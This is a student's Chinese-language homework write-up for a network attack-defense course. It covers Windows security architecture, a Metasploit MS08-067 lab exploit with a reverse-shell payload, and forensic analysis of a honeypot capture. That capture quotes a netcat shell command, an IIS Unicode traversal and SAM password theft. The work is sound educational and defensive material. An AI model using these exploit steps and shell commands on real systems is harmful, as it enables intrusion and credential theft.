20199104 2019-2020-2 《网络攻防实践》第7周作业
20199104 2019-2020-2 《网络攻防实践》第7周作业
这个作业属于哪个课程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
这个作业的要求在哪里 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10612 |
我在这个课程的目标是 | 学习并了解网络攻防的相关知识,期末有个好成绩 |
这个作业在哪个具体方面帮助我实现目标 | 了解windows网络安全攻防的理论与实践 |
作业正文 | 见下 |
1.实践内容
1.1 Windows操作系统基本框架概述
-
Windows操作系统内核的基本模块:
-
Windows执行体: 即Windows内核核心文件ntoskrnl.exe的上层接口, 包含基本的操作系统内核服务
-
Windows内核体: 即Windows内核核心文件moskrnl.exe中酌数实现与硬件体系结构支持代码,实现底层的操作系统功能
-
设备驱动程序: 包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序, 以及文件系统与网络设备驱动程序
-
硬件抽象层: 即hal.dll文件, 是用于屏蔽Windows 内核与平台硬件差异性的底层代码。
-
Windows窗口与图形界面接口内核实现代码: 即win32k.sys文件
-
-
Windows操作系统在用户态的代码模块则包括如下:
-
系统支持进程:Windows开机自动启动的系统内建服务进程,如用于登录认证的logon进程
-
环境子系统服务进程:为运行环境提供支持的服务进程
-
服务进程:通过Windows的服务管理机制所启动的一系列系统及网络服务
-
用户应用软件:在用户态执行的各类用户应用软件
-
核心子系统DLL:很多dll动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口
-
-
Windows操作系统内核中实现了如下的核心机制:
-
windows进程和线程管理机制:进程可以看作是可执行程序运行的容器,Windows线程作为指令执行的具体载体
-
Windows内存管理机制:Windows的虚拟内存空间分为系统核心内存区间与用户内存区间两部分
-
Windows文件管理机制:NTFS文件系统从ACL访问控制列表来保证文件资源读/写的安全性,较FAT更加安全,此外具有更高的性能、可靠性和磁盘利用效率。Windows上的可执行文件采用PE(Portable Executable)格式
-
Windows注册表管理机制:注册表被称为Windows操作系统的核心,Windows系统注册表存放了关于计算机硬件的配置信息、系统和应用软件的初始化信息、应用软件和文档文件的关联关系、硬件设备的说明以及各种状态信息和数据,包括Windows操作时不断引用的信息。在 Windows系统配置和控制方面承担着关键角色。
-
Windows的网络机制:1.各种网卡硬件的设备驱动程序,一般由第三方硬件厂商开发并提供,处于OSl参考模型的物理层。2.NDIS (Network Driver Interface Specification)库及miniport驱动程序,位千OSI链路层,为各种不同的网卡适配器驱动程序和TDI传输层之间构建了一个封装接口3.TDI,传输层,将网络请求格式化成IRP,以及申请网络地址和数据通信4.网络API DLL及TDI客户端,会话层和表示层,独立于具体协议提供网络交互和实现方式5.网络应用程序与服务进程,对应OSI应用层,通常使用各类网络API DLL来实现网络交互与通信功能。
-
1.2 Windows操作系统的安全体系结构与机制
- Windows安全体系结构:Windows操作系统基于引用监控器模型来实现基本的对象安全模型,系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。Windows系统安全体系结构示意图如下,最为核心的是SRM(Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务,他们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。
-
Windows身份认证机制:
-
Windows操作系统中以安全主体概念来包含所有进行系统资源访问诸求的实体对象,有用户、用户组、计算机三类,用SID标识
-
Windows为每个用户和计算机设置账户(accounts)进行管理,并引入用户组来简化用户管理
-
Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中
-
对于试图使用Windows系统的用户与远程计算机等安全主体,Windows通过一些秘密信息来认证安全主体真实合法的身份,进行用户身份认证
-
Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程
-
-
Windows授权与访问控制机制:
-
Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访间对象资源时的中介,根据设定的访问控制列表进行授权访问。windows会给用户一个安全访问令牌,进程执行操作是,继承了启动进程的账户所拥有的访问令牌。
-
Windows对于系统中所有需保护的资源都抽象成对象, 每个对象会关联一个SD安令描述符,主要由如下属性组成:1.Owner SID:对象所有者的SID安全标识符。2.Group SID: 对象所在基本用户组的SID安全标识符(兼容POSIX使用)。3.DACL自主访问控制列表:指明了哪些安全中体可以何种方式来访问该对象 。4.SACL系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计。
-
-
windows安全审计机制:系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。
-
Windows的其他安全机制:由Windows XP SP2开始引入的Windows安全中心,Windows安全中心具有防火墙、补丁自动更新、病毒防护机制。除安全中心之外还有,IPSec加密与验证机制、EFS加密文件系统、windows文件保护机制等。
1.3 Windows远程安全攻防技术
-
远程口令猜测与破解攻击:远程渗透攻击Windows系统最简单的方法仍然是猜测或破解出系统的登录口令。
-
攻击Windows网络服务:windows存在着可导致远程代码执行的高危性安全漏洞,攻击者也一直在利用这些漏洞来对Windows网络服务实施远程渗透攻击, 从而得到Windows系统的访问权。
-
攻击 Windows客户端及用户:针对Web浏览器、第三方应用软件的客户端渗透攻击变得非常流行。
-
windows远程攻击方法的防御措施:关闭不需要的端口、配置主机防火墙来限制上述端口、利用网络防火墙来限制这些服务的访问和禁用存在缺陷的NTLM
-
远程渗透攻击防范措施:从软件设计上尽量减少渗透攻击、尽可能快的更新安全补丁、为零日漏洞配置缓解攻击配置、利用安全清单插件来固化网络、通过漏洞扫描软件来标识存在的漏洞。
1.4 Windows本地安全攻防技术
-
windows本地特权提升:
-
溢出提权、windows错误系统配置、计划任务提权
-
措施:及时打补丁、及时跟进厂家的安全警告
-
-
windows敏感信息窃取:
-
包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段
-
防范措施:使用安全度高、能抵挡破解的口令
-
-
windows消灭踪迹:
-
主要手段包括、关闭审计功能、清理事件日志。
-
防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。
-
-
远程控制与后门
-
主要手段包括向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。
-
防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
-
2.实践过程
2.1 实验一:动手实践Metasploit windows attacker
- 具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
-
在kali打开metasploit,输入
msfconsole
,进入到他的控制台界面,使用ms08_067,然后先search ms08_067
漏洞,搜索结果如下图。
-
use exploit/windows/smb/ms08_067_netapi
使用相关攻击脚本
- 选择攻击负载模块,通过命令
set PAYLOAD generic/shell_reverse_tcp
设置打开反向连接的载荷.设置攻击目标,通过命令set RHOST 192.168.200.3
(靶机的ip),设置攻击地址,通过命令set LHOST 192.168.200.2
(攻击机的ip),设置目标操作系统平台类型set TARGET 0
- 接下来通过
exploit
发起攻击,出现了书上没有的问题Exploit completed, but no session was created.
百度上有说网络说是对中文不太友好什么的,或是文件默认设置的问题,最后我是设置win server在vmnet8,对win server攻击,xp不知道为什么不行。
- 从ipconfig获得靶机ip可以看到,我最终进入了靶机的cmd页面。也可以新建文件,使用
getuid
出现乱码导致我无法判断权限。具体可以参考https://xz.aliyun.com/t/73
2.2 实践二:解码一次成功的NT系统破解攻击
- 来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
- 攻击者使用了什么破解工具进行攻击
- 攻击者如何使用这个破解工具进入并控制了系统
- 攻击者获得系统访问权限后做了什么
- 我们如何防止这样的攻击
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
2.2.1 攻击者使用了什么破解工具进行攻击
- 首先我们用wireshark打开文件。接下来
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
先筛选一下。
- 接下来我们继续找到编号117,发现攻击者打开了系统启动文件boot.ini,同时%C0%AF字符,%C0%AF为/的Unicode编码,IIS4.0 和5.0 存在Unicode Directory Traversal Vulnerability,使用
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106&& http
过滤时,发现出现多次的msadcs.dll
,我们使用google搜索msadcs.dll
,找到一个不错的漏洞搜索页面,故接下来我们的任务就是判断漏洞是MS02-065还是MS99-025,两者均是基于 MDAC RDS漏洞。
- 追踪流发现
ADM!ROX!YOUR!WORLD
字符串出现的频率很高,通过查询,我们发现这是一个名为msadc2.pl
工具发起的攻击,
2.2.2 攻击者如何使用这个破解工具进入并控制了系统
-
可以发现攻击者尝试建立FTP连接。通过追踪TCP流发现,这个连接由于口令错误导致连接失败。说明这次攻击是一个失败的攻击。
-
我们直接筛选ftp连接,找到成功的ftp连接就好。直到编号1106,此时才是连接成功的。
- 在攻击者再ftp服务结束之后,一次FTP包要在5000多号数据包,我们从本次ftp结束接着向下看,不难发现,在下载完文件之后,攻击者执行了这样一条命令:
c+nc+-l+-p+6969+-e+cmd1.exe
。表示攻击者连接了6969端口,并且获得了访问权限。
2.2.3 攻击者获得系统访问权限后做了什么
- 首先我们用条件
tcp.port == 6969
筛选一下,追踪TCP流,可以看到,攻击者修改各种文件,意图通过pdump、samdump、net命令、rdisk命令等方式提权为管理员,成功后还删除了ftpcom文件等痕迹。
- 具体分析,攻击者向yay.txt的文件内写指令,应该就是为了获取最高权限的口令,攻击者尝试信息收集,net session(列出会话),但是没有权限,然后执行net users, 返回该主机的用户列表,只有Administrators。接下来应该是在对用户组进行操作,应该是想将自己的账号添加进Administrators用户组,直接获得最高权限,但是使用的
net group
查看组用户、net localgroup
查看本地组用户、net group domain admins
以及pdump
来破解出口令密文都失败
-
想继续获取SAM密码,使用的是rdisk,由http://www.360doc.com/content/15/0409/15/261866_461830447.shtml我们知道SAM的英文名称是: securityaccountmanager; 中文名称是:安全账号管理器。Windows中对用户账户的安全管理使用了安全账号管理器
SAM(securityaccountmanager)的机制,安全账号管理器对账号的管理是通过安全标识进行的,安全标识在账号创建时就同时创建,一旦账号 被删除,安全标识也同时被删除。安全标识是唯一的,即使是相同的用户名,在每次创建时获得的安全标识都时完全不同的。因此,一旦某个账号被删除,它的安全标识就不再存在了,即使用相同的用户名重建账号,也会被赋予不同的安全标识,不会保留原来的权限。SAM文件是windows的用户账户数据库,所有用户的登录名及口令等相关信息都会保存在这个文件中。SAM文件可以认为类似于unix系统中的passwd文件,不过没有unix的passwd文件那么直观,当我们忘记密码的时候,就可以通过删除SAM文件,快速地进入系统。攻击者把这个文件拷贝到har.txt并打印,最后退出。
-
到exit为止,仅仅到编号3645,之后的一堆继续分析,发现在3661又进行
c+nc+-l+-p+6969+-e+cmd1.exe
以及在编号3742,又进行c+nc+-l+-p+6968+-e+cmd1.exe
,使用tcp.port == 6969
和tcp.port == 6968
分别观察,发现前面的c+nc+-l+-p+6969+-e+cmd1.exe
之后应该是并没有做什么,之后我们对tcp.port == 6968
具体观察。通过追踪TCP流发现攻击者首先将har.txt(也就是SAM文件)拷贝至IIS的根目录 inetpub,攻击者获取该文件后,尝试删除,但因为锁定没有成功。攻击者跑到其他盘符看了一遍之后,也没干啥,就退出了这个shell连接。总之,攻击者的目的应该就是SAM文件。
2.2.4 我们如何防止这样的攻击
- 及时修补漏洞,对漏洞打上相应的补丁。
- 禁用用不着的 RDS 等服务。
- 防火墙封禁网络内部服务器发起的连接。
- 为 web server 在单独的文件卷上设置虚拟根目录。
- 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能。
- 使用 IIS Lockdown 和 URLScan 等工具加强 web server。
2.2.5 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
- 攻击者发现了这是一台蜜罐主机,继续追踪TCP流就可以看到一行字,看到攻击者已经知道这是一台蜜罐主机。
2.3 实践三:Windows系统远程渗透攻击和分析
-
攻击方使用metaploit选择漏洞进行渗透攻击,获得控制权。
-
防守方使用wireshark监听获得网络攻击的数据包,结合分析过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及本地执行的命令输入信息。
-
kali过程与实践一差不多,主要是wireshark抓包:可以看出攻击者IP
192.168.200.2
.目标IP192.168.200.124
,目标端口445
源端口39525
.攻击发起时间,从第一个TCP请求开始攻击利用漏洞,然后从这些SMB协议可以看出,攻击者利用的SMB的漏洞。参考逼乎的讲解MS08-067漏洞是通过 MSRPC over SMB 通道调用 Server 服务程序中的 NetPathCanonicalize 函数时触发的,而 NetPathCanonicalize 函数在远程访问其他主机时,会调用 NetpwPathCanonicalize 函数,对远程访问的路径进行规范化,而在 NetpwPathCanonicalize 函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。
3.学习中遇到的问题及解决
- 问题1:用MS08-067攻击XP不成功
- 问题1解决方案:得要win server而且还要在同一网段下
- 问题2:metaploit的攻击过程乱码
- 问题2解决方案:不知道怎么解决,没有找到网络上说的编码的位置https://blog.csdn.net/qq_36119192/article/details/83215101
4.实践总结
这次实验的整体内容让我们对Windows的攻防有了基本的了解,能够进行一些简单的漏洞攻击和分析。但是面对分析的内容仍然不是很理解,希望老师能讲一下。NT系统破解,基本是看着指导材料对着找。